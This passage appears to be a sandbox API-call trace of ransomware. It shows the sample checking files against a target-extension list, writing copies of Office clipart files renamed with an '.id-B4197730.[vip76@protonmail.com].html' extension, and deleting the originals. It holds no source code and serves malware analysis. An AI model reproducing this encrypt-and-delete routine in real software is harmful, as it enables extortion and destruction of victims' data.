	[0190.040] lstrlenW (lpString=".ppt") returned 4
	[0190.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.040] lstrlenW (lpString=".zip") returned 4
	[0190.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.040] lstrlenW (lpString=".rar") returned 4
	[0190.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.040] lstrlenW (lpString=".bz2") returned 4
	[0190.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.040] lstrlenW (lpString=".7z") returned 3
	[0190.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.040] lstrlenW (lpString=".dbf") returned 4
	[0190.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.040] lstrlenW (lpString=".1cd") returned 4
	[0190.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.040] lstrlenW (lpString=".jpg") returned 4
	[0190.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.040] lstrlenW (lpString=".doc") returned 4
	[0190.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.041] lstrlenW (lpString=".docx") returned 5
	[0190.041] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.041] lstrlenW (lpString=".pdf") returned 4
	[0190.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.041] lstrlenW (lpString=".xls") returned 4
	[0190.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.041] lstrlenW (lpString=".xlsx") returned 5
	[0190.041] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.041] lstrlenW (lpString=".ppt") returned 4
	[0190.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.041] lstrlenW (lpString=".zip") returned 4
	[0190.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.041] lstrlenW (lpString=".rar") returned 4
	[0190.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.041] lstrlenW (lpString=".bz2") returned 4
	[0190.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.041] lstrlenW (lpString=".7z") returned 3
	[0190.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.041] lstrlenW (lpString=".dbf") returned 4
	[0190.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.041] lstrlenW (lpString=".1cd") returned 4
	[0190.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0190.041] lstrlenW (lpString=".jpg") returned 4
	[0190.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.042] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.042] lstrlenW (lpString="J0105230.WMF") returned 12
	[0190.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.042] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=5172) returned 1
	[0190.043] CloseHandle (hObject=0x5ac) returned 1
	[0190.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220
	[0190.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.044] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.044] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0190.044] GetLastError () returned 0x0
	[0190.044] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1434, lpOverlapped=0x0) returned 1
	[0190.047] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1440, lpOverlapped=0x0) returned 1
	[0190.048] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.048] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.048] SetEndOfFile (hFile=0x5e0) returned 1
	[0190.048] CloseHandle (hObject=0x5e0) returned 1
	[0190.048] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.048] SetEndOfFile (hFile=0x5ac) returned 1
	[0190.051] CloseHandle (hObject=0x5ac) returned 1
	[0190.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1
	[0190.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.052] lstrlenW (lpString=".doc") returned 4
	[0190.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.053] lstrlenW (lpString=".docx") returned 5
	[0190.053] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.053] lstrlenW (lpString=".pdf") returned 4
	[0190.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.053] lstrlenW (lpString=".xls") returned 4
	[0190.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.053] lstrlenW (lpString=".xlsx") returned 5
	[0190.053] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.053] lstrlenW (lpString=".ppt") returned 4
	[0190.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.053] lstrlenW (lpString=".zip") returned 4
	[0190.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.053] lstrlenW (lpString=".rar") returned 4
	[0190.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.053] lstrlenW (lpString=".bz2") returned 4
	[0190.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.053] lstrlenW (lpString=".7z") returned 3
	[0190.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.053] lstrlenW (lpString=".dbf") returned 4
	[0190.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.053] lstrlenW (lpString=".1cd") returned 4
	[0190.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.054] lstrlenW (lpString=".jpg") returned 4
	[0190.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.054] lstrlenW (lpString=".doc") returned 4
	[0190.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.054] lstrlenW (lpString=".docx") returned 5
	[0190.054] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.054] lstrlenW (lpString=".pdf") returned 4
	[0190.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.054] lstrlenW (lpString=".xls") returned 4
	[0190.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.054] lstrlenW (lpString=".xlsx") returned 5
	[0190.054] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0190.054] lstrlenW (lpString=".ppt") returned 4
	[0190.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.054] lstrlenW (lpString=".zip") returned 4
	[0190.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.054] lstrlenW (lpString=".rar") returned 4
	[0190.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.054] lstrlenW (lpString=".bz2") returned 4
	[0190.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.054] lstrlenW (lpString=".7z") returned 3
	[0190.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.054] lstrlenW (lpString=".dbf") returned 4
	[0190.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.055] lstrlenW (lpString=".1cd") returned 4
	[0190.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0190.055] lstrlenW (lpString=".jpg") returned 4
	[0190.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.055] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.055] lstrlenW (lpString="J0105232.WMF") returned 12
	[0190.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.056] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=5632) returned 1
	[0190.056] CloseHandle (hObject=0x5ac) returned 1
	[0190.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220
	[0190.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.057] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.057] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0190.057] GetLastError () returned 0x0
	[0190.057] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1600, lpOverlapped=0x0) returned 1
	[0190.178] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1610, lpOverlapped=0x0) returned 1
	[0190.179] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.180] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.180] SetEndOfFile (hFile=0x5e0) returned 1
	[0190.180] CloseHandle (hObject=0x5e0) returned 1
	[0190.180] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.180] SetEndOfFile (hFile=0x5ac) returned 1
	[0190.183] CloseHandle (hObject=0x5ac) returned 1
	[0190.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1
	[0190.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.186] lstrlenW (lpString=".doc") returned 4
	[0190.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.186] lstrlenW (lpString=".docx") returned 5
	[0190.186] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.186] lstrlenW (lpString=".pdf") returned 4
	[0190.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.187] lstrlenW (lpString=".xls") returned 4
	[0190.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.187] lstrlenW (lpString=".xlsx") returned 5
	[0190.187] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.187] lstrlenW (lpString=".ppt") returned 4
	[0190.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.187] lstrlenW (lpString=".zip") returned 4
	[0190.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.187] lstrlenW (lpString=".rar") returned 4
	[0190.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.187] lstrlenW (lpString=".bz2") returned 4
	[0190.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.187] lstrlenW (lpString=".7z") returned 3
	[0190.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.187] lstrlenW (lpString=".dbf") returned 4
	[0190.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.187] lstrlenW (lpString=".1cd") returned 4
	[0190.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.187] lstrlenW (lpString=".jpg") returned 4
	[0190.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.187] lstrlenW (lpString=".doc") returned 4
	[0190.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.188] lstrlenW (lpString=".docx") returned 5
	[0190.188] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.188] lstrlenW (lpString=".pdf") returned 4
	[0190.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.188] lstrlenW (lpString=".xls") returned 4
	[0190.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.188] lstrlenW (lpString=".xlsx") returned 5
	[0190.188] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.188] lstrlenW (lpString=".ppt") returned 4
	[0190.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.188] lstrlenW (lpString=".zip") returned 4
	[0190.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.188] lstrlenW (lpString=".rar") returned 4
	[0190.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.188] lstrlenW (lpString=".bz2") returned 4
	[0190.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.188] lstrlenW (lpString=".7z") returned 3
	[0190.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.188] lstrlenW (lpString=".dbf") returned 4
	[0190.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.188] lstrlenW (lpString=".1cd") returned 4
	[0190.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68
	[0190.188] lstrlenW (lpString=".jpg") returned 4
	[0190.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.189] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.189] lstrlenW (lpString="J0105240.WMF") returned 12
	[0190.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.190] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=11532) returned 1
	[0190.190] CloseHandle (hObject=0x5ac) returned 1
	[0190.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220
	[0190.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0190.190] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.190] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0190.191] GetLastError () returned 0x0
	[0190.191] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2d0c, lpOverlapped=0x0) returned 1
	[0190.193] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2d10, lpOverlapped=0x0) returned 1
	[0190.194] ReadFile (in: hFile=0x5ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.194] WriteFile (in: hFile=0x5e0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.194] SetEndOfFile (hFile=0x5e0) returned 1
	[0190.195] CloseHandle (hObject=0x5e0) returned 1
	[0190.195] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.195] SetEndOfFile (hFile=0x5ac) returned 1
	[0190.198] CloseHandle (hObject=0x5ac) returned 1
	[0190.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1
	[0190.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0190.199] lstrlenW (lpString=".doc") returned 4
	[0190.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.199] lstrlenW (lpString=".docx") returned 5
	[0190.199] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0190.199] lstrlenW (lpString=".pdf") returned 4
	[0190.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.199] lstrlenW (lpString=".xls") returned 4
	[0190.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.199] lstrlenW (lpString=".xlsx") returned 5
